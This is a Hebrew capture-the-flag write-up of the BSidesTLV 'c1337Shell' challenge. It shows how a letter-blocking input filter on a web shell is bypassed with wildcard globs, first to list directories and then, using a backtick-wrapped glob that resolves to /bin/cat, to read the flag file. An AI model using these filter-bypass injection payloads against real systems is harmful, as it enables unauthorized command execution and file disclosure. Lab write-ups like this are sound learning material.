c1337Shell
נכתב על ידי Narcissus
הקישור מוביל לאתר עם כמה תיבות לקלט ופלט:
ניסינו פקודות קלאסיות כמו ls
ו-cd
, אבל כל פעם קיבלנו שגיאה: error: bad characters found
.
הבנו שכנראה אסור להשתמש באותיות אז ניסינו תווי-מטא. *
לא החזיר כלום, אבל /*
החזיר /app /bin /boot /dev /etc /home /lib /lib64 /media /mnt /opt /proc /root /run /sbin /srv /sys /tmp /usr /var
. כלומר אנחנו בכיוון.
באזור של הפרטים בחלק העליון של האתר כתוב בין היתר /app/
, ננסה לראות אם יש שם משהו מעניין על ידי הפקודה /???/*
. קיבלנו הרבה תוצאות, החשובה מבינהם: /app/f
.
בדיקה בתוך התיקייה הזאת: /???/?/*
נותנת /app/f/fl
.
עוד כמה רמות פנימה: /???/?/*/*/*
ומקבלים /app/f/fl/flag/flag_is_here /app/f/fl/flag/flag_is_not_here
.
אוקיי יש פה פיצול שאנחנו צריכים להתמודד איתו: /???/?/*/*/????_??_????/*
וקיבלנו /app/f/fl/flag/flag_is_here/flag.txt
מעולה! עכשיו צריך למצוא ריך לקרוא את הקובץ.
עד כה נראה שהתהליך שהקלט עובר הוא בדיקה שאין תווים אסורים, ולאחר מכן העברה של הפקודה לתוך echo
או תוכנה דומה, ננחש echo.
אז אם נכניס /???/??? /???/?/*/*/????_??_????/*
הפלט שנקבל הוא:
/bin/cat /bin/dir /bin/pwd /bin/sed /bin/tar /dev/pts /dev/shm /dev/tty /etc/X11 /etc/apt /etc/gss /etc/opt /etc/rmt /etc/rpc /etc/ssl /etc/xdg /etc/xml /lib/cpp /lib/lsb /sys/bus /sys/dev /usr/bin /usr/lib /usr/src /var/lib /var/log /var/opt /var/run /var/tmp /app/f/fl/flag/flag_is_here/flag.txt
אפשר להריץ פקודות בעזרת echo
על ידי עטיפה שלו עם backticks
.
כפי שאנחנו רואים /bin/cat
זו התוכנה הראשונה ברשימה, ולכן היא תרוץ, ותקבל את כל התוכנות האחרות ואת flag.txt
כקלט.
אז עטפנו את הפקודה הזאת ב-backticks קיבלנו המון זבל אבל בסוף הופיע גם הדגל: BSidesTLV{1_l1k3_wildcards_&_r3g3x_but_h8_th3_cr34t0r}
(הפקודה הקצרה ביותר שאני מצאתי היא /*/??? /*/?/*/*/*_??_????/*
)